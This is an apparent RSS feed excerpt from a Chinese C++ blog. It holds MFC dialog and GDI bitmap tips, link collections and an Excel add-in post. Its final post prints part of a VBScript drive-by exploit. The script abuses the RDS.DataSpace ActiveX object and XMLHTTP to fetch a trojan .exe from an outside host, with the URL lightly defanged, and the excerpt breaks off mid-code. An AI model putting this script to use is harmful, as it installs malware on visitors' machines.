#000000;">&nbsp;LoadResource(hInst,&nbsp;hResource);<br>&nbsp;&nbsp;&nbsp;&nbsp;LPCDLGTEMPLATE&nbsp;lpDialogTemplate&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;(LPCDLGTEMPLATE)LockResource(hTemplate);<br>&nbsp;&nbsp;&nbsp;&nbsp;DLGTEMPLATEEX</span><span style="color: #000000;">*</span><span style="color: #000000;">&nbsp;lpDlgTmpEx&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;(DLGTEMPLATEEX</span><span style="color: #000000;">*</span><span style="color: #000000;">&nbsp;)lpDialogTemplate;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;dwOldStyle&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">;<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;bIsDlgEx&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;lpDlgTmpEx</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">signature&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0xFFFF</span><span style="color: #000000;">;<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(bIsDlgEx)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwOldStyle&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;lpDlgTmpEx</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">style;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpDlgTmpEx</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">style&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;DS_SETFONT&nbsp;</span><span style="color: #000000;">|</span><span style="color: #000000;">&nbsp;WS_CHILD;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;"><br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwOldStyle&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;((LPDLGTEMPLATE)lpDialogTemplate)</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">style;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((LPDLGTEMPLATE)lpDialogTemplate)</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">style&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;DS_SETFONT&nbsp;</span><span style="color: #000000;">|</span><span style="color: #000000;">&nbsp;WS_CHILD;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;m_lpDialogInit&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;bResult&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;CreateDlgIndirect(lpDialogTemplate,&nbsp;pParent,&nbsp;hInst);<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">(bIsDlgEx)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpDlgTmpEx</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">style&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;dwOldStyle;<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((LPDLGTEMPLATE)lpDialogTemplate)</span><span style="color: #000000;">-&gt;</span><span style="color: #000000;">style&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;dwOldStyle;<br>&nbsp;&nbsp;&nbsp;&nbsp;UnlockResource(hTemplate);<br>&nbsp;&nbsp;&nbsp;&nbsp;FreeResource(hTemplate);<br>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;bResult;<br>}</span></div>
<br>If you need your dialog to behavior as WS_POPUP or WS_CHILD without duplicating your dialog template, you just get an ugly answer. And anyone who know another better way, let me know please. <br><br>MFC<br><img src ="http://www.cppblog.com/aqazero/aggbug/67287.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2008-11-19 15:10 <a href="http://www.cppblog.com/aqazero/archive/2008/11/19/67287.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>trap in CreateCompatibleBitmap and memory dc</title><link>http://www.cppblog.com/aqazero/archive/2008/07/14/56118.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 14 Jul 2008 09:15:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2008/07/14/56118.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/56118.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2008/07/14/56118.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/56118.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/56118.html</trackback:ping><description><![CDATA[<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: #000000;">CDC&nbsp;dcMem;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VERIFY(dcMem.CreateCompatibleDC(NULL));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CBitmap&nbsp;bmp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VERIFY(bmp.CreateCompatibleBitmap(</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">dc,</span><span style="color: #000000;">100</span><span style="color: #000000;">,</span><span style="color: #000000;">100</span><span style="color: #000000;">));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CBitmap&nbsp;</span><span style="color: #000000;">*</span><span style="color: #000000;">&nbsp;pOld&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;dcMem.SelectObject(</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">bmp);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dcMem.FillSolidRect(</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span><span style="color: #000000;">100</span><span style="color: #000000;">,</span><span style="color: #000000;">100</span><span style="color: #000000;">,RGB(</span><span style="color: #000000;">255</span><span style="color: #000000;">,</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span><span style="color: #000000;">0</span><span style="color: #000000;">));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dcMem.MoveTo(</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span><span style="color: #000000;">0</span><span style="color: #000000;">);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dcMem.LineTo(</span><span style="color: #000000;">100</span><span style="color: #000000;">,</span><span style="color: #000000;">100</span><span style="color: #000000;">);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dc.BitBlt(</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span><span style="color: #000000;">100</span><span style="color: #000000;">,</span><span style="color: #000000;">100</span><span style="color: #000000;">,</span><span style="color: #000000;">&amp;</span><span style="color: #000000;">dcMem,</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span><span style="color: #000000;">0</span><span style="color: #000000;">,SRCCOPY);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dcMem.SelectObject(pOld);</span></div>
these codes will run smoothly. but you will get nothing other a bitmap either black or white.<br><br>See what MSDN says:<br><br><font>CBitmap::CreateCompatibleBitmap <br><br></font><font>If <em>pDC</em> is a memory device context, the bitmap returned has the same
format as the currently selected bitmap in that device context.</font><br>
<p><font>When a memory device context is created, GDI automatically selects a
monochrome stock bitmap for it.</font></p>
<br>Solution:<br>1) pass in&nbsp; a CPaintDC instead of a memory dc<br>2) just replace <span style="color: #000000; font-style: italic;">VERIFY(bmp.CreateCompatibleBitmap(&amp;dc,100,100</span><span style="color: #000000;"><span style="font-style: italic;">));</span> with <span style="font-style: italic;">bmp.CreateBitmap(100,100,1,32,NULL);</span><br><br></span><img src ="http://www.cppblog.com/aqazero/aggbug/56118.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2008-07-14 17:15 <a href="http://www.cppblog.com/aqazero/archive/2008/07/14/56118.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ie helper, great!</title><link>http://www.cppblog.com/aqazero/archive/2008/03/13/44374.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 13 Mar 2008 07:29:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2008/03/13/44374.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/44374.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2008/03/13/44374.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/44374.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/44374.html</trackback:ping><description><![CDATA[http://www.codeguru.com/cpp/i-n/internet/browsercontrol/article.php/c6175/<br><img src ="http://www.cppblog.com/aqazero/aggbug/44374.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2008-03-13 15:29 <a href="http://www.cppblog.com/aqazero/archive/2008/03/13/44374.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>digitizers</title><link>http://www.cppblog.com/aqazero/archive/2008/02/18/42883.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 18 Feb 2008 07:22:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2008/02/18/42883.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/42883.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2008/02/18/42883.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/42883.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/42883.html</trackback:ping><description><![CDATA[http://www.sonycsl.co.jp/projects/ar/restricted/wintabl.html<br><br>for python:<br>http://cgkit.sourceforge.net/doc2/module-cgkit.wintab.html<br><br>http://www.gtcocalcomp.com/developers.php<br><br><img src ="http://www.cppblog.com/aqazero/aggbug/42883.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2008-02-18 15:22 <a href="http://www.cppblog.com/aqazero/archive/2008/02/18/42883.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>disk id and WMI C#</title><link>http://www.cppblog.com/aqazero/archive/2008/01/25/41902.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Fri, 25 Jan 2008 09:27:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2008/01/25/41902.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/41902.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2008/01/25/41902.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/41902.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/41902.html</trackback:ping><description><![CDATA[http://www.winsim.com/diskid32/diskid32.html<br>http://msdn2.microsoft.com/en-us/library/aa394554(VS.85).aspx<br><br>http://www.csharphelp.com/archives2/archive334.html<br><br>http://www.eggheadcafe.com/articles/20030511.asp<br><br>  <img src ="http://www.cppblog.com/aqazero/aggbug/41902.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2008-01-25 17:27 <a href="http://www.cppblog.com/aqazero/archive/2008/01/25/41902.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>通过 .NET Compact Framework 优化 Pocket PC 开发</title><link>http://www.cppblog.com/aqazero/archive/2007/11/29/37505.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Thu, 29 Nov 2007 10:12:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2007/11/29/37505.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/37505.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2007/11/29/37505.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/37505.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/37505.html</trackback:ping><description><![CDATA[http://www.microsoft.com/china/MSDN/library/Mobility/pocketpc/NETCompactFramework.mspx?mfr=true<br><br>scroll bar in .netCFW<br>
http://www.c-sharpcorner.com/UploadFile/mgold/PocketPackingList11082006213122PM/PocketPackingList.aspx<br><br>  <img src ="http://www.cppblog.com/aqazero/aggbug/37505.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2007-11-29 18:12 <a href="http://www.cppblog.com/aqazero/archive/2007/11/29/37505.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>note Algorithm book, sql server download, .net context help, activex hotkey/ accelerator</title><link>http://www.cppblog.com/aqazero/archive/2007/09/14/32214.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Fri, 14 Sep 2007 08:13:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2007/09/14/32214.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/32214.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2007/09/14/32214.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/32214.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/32214.html</trackback:ping><description><![CDATA[crystal lattice
晶格<br><br>a great book about Algorithm&nbsp; http://www2.toki.or.id/book/AlgDesignManual/INDEX.HTM
<br><br>sql server developer<br>http://beta.verycd.com/groups/@g19046/135284.topic<br>http://beta.verycd.com/groups/@g19046/64613.topic
<br>  <br><br>A great idea about context help:<br>1)http://www.codeproject.com/csharp/ContextHelpMadeEasy.asp<br>2)http://netpl.blogspot.com/2007/07/context-help-made-easy-revisited.html<br><br><br>How to deal with hotkey / accelerator keys in activex<br>http://support.microsoft.com/?scid=kb;EN-US;Q187988
<br>
<br>You know how to google ,you know almost every thing.<br>  <img src ="http://www.cppblog.com/aqazero/aggbug/32214.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2007-09-14 16:13 <a href="http://www.cppblog.com/aqazero/archive/2007/09/14/32214.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Excel addin处理学生成绩</title><link>http://www.cppblog.com/aqazero/archive/2006/11/28/15731.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Tue, 28 Nov 2006 06:40:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2006/11/28/15731.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/15731.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2006/11/28/15731.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/15731.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/15731.html</trackback:ping><description><![CDATA[老婆是班主任，每次考试都要给学生发工资条....一样的成绩条。<br>每次都要重复一些excel插入，复制，粘贴的操作，于是自作聪明地让我帮她写程序。<br>为了这么点小事，让我用vc++写程序(我对VBA不熟啊...)，实在是大材小用啊。<br>而且程序写好后还问题多多，bug多多，嗯，您就凑合着用吧。<br>有问题就在这里留个言，程序已经有更新功能了，我修改起来你更新起来都会很方便的(但愿如此了)。<br><br>for user:<br>安装程序在 <a target="" class="" title="" href="http://www.cppblog.com/Files/aqazero/brentExcelAddinSetup_fm.zip">http://www.cppblog.com/Files/aqazero/brentExcelAddinSetup_fm.zip</a><br>excel文件格式参考 <a href="http://www.cppblog.com/Files/aqazero/example_brentAddin.zip">http://www.cppblog.com/Files/aqazero/example_brentAddin.zip</a><br><br>很烂的源码：<a href="http://www.cppblog.com/Files/aqazero/BrentAddin.rar">http://www.cppblog.com/Files/aqazero/BrentAddin.rar</a><br> <img src ="http://www.cppblog.com/aqazero/aggbug/15731.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2006-11-28 14:40 <a href="http://www.cppblog.com/aqazero/archive/2006/11/28/15731.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一段植入木马的html代码</title><link>http://www.cppblog.com/aqazero/archive/2006/09/25/12944.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 25 Sep 2006 06:18:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2006/09/25/12944.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/12944.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2006/09/25/12944.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/12944.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/12944.html</trackback:ping><description><![CDATA[
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<img src="http://www.cppblog.com/images/OutliningIndicators/None.gif" align="top" />
				<span style="COLOR: #0000ff">&lt;</span>
				<span style="COLOR: #800000">html</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span style="COLOR: #000000">
						<br />
						<img id="Codehighlighter1_36_1454_Open_Image" onclick="this.style.display='none'; Codehighlighter1_36_1454_Open_Text.style.display='none'; Codehighlighter1_36_1454_Closed_Image.style.display='inline'; Codehighlighter1_36_1454_Closed_Text.style.display='inline';" src="http://www.cppblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" />
						<img id="Codehighlighter1_36_1454_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_36_1454_Closed_Text.style.display='none'; Codehighlighter1_36_1454_Open_Image.style.display='inline'; Codehighlighter1_36_1454_Open_Text.style.display='inline';" src="http://www.cppblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" /> </span>
				<span style="COLOR: #0000ff">&lt;</span>
				<span style="COLOR: #800000">script </span>
				<span style="COLOR: #ff0000">language</span>
				<span style="COLOR: #0000ff">="VBScript"</span>
				<span style="COLOR: #0000ff">&gt;</span>
				<span id="Codehighlighter1_36_1454_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cppblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_36_1454_Open_Text">
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">on</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">error</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">resume</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">next</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">即将下载的木马</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    dl </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">ht#tp://ww#w.800vv.com/cc/cj.exe#</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">创建OBJECT元素</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">Set</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> df </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> document.createElement(</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">object</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">)<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">指定OBJECT为RDS.DataSpace </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">        </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">该对象有一个方法名为CreateObject，</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">        </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">helpstring("Creates a business object of the specified Progid over the specified connection")</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    df.setAttribute </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">classid</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">, </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">clsid:BD96C556-65A3-11D#0-983A-00C04F#C29E36</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" /></span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    str</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">Microsoft.XMLHTTP</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">RDS.DataSpace.CreateObject("Microsoft.XMLHTTP","")</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    </span>
						<span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">Set</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> x </span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5"> df.CreateObject(str,</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">""</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">)<br /><img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">'</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">4545</span>
						<span style="COLOR: #008000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
						</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">    a1</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">A#do</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    a2</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">db.</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
								<img src="http://www.cppblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    a3</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">=</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">Str</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">"</span>
						<span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">
								<br />
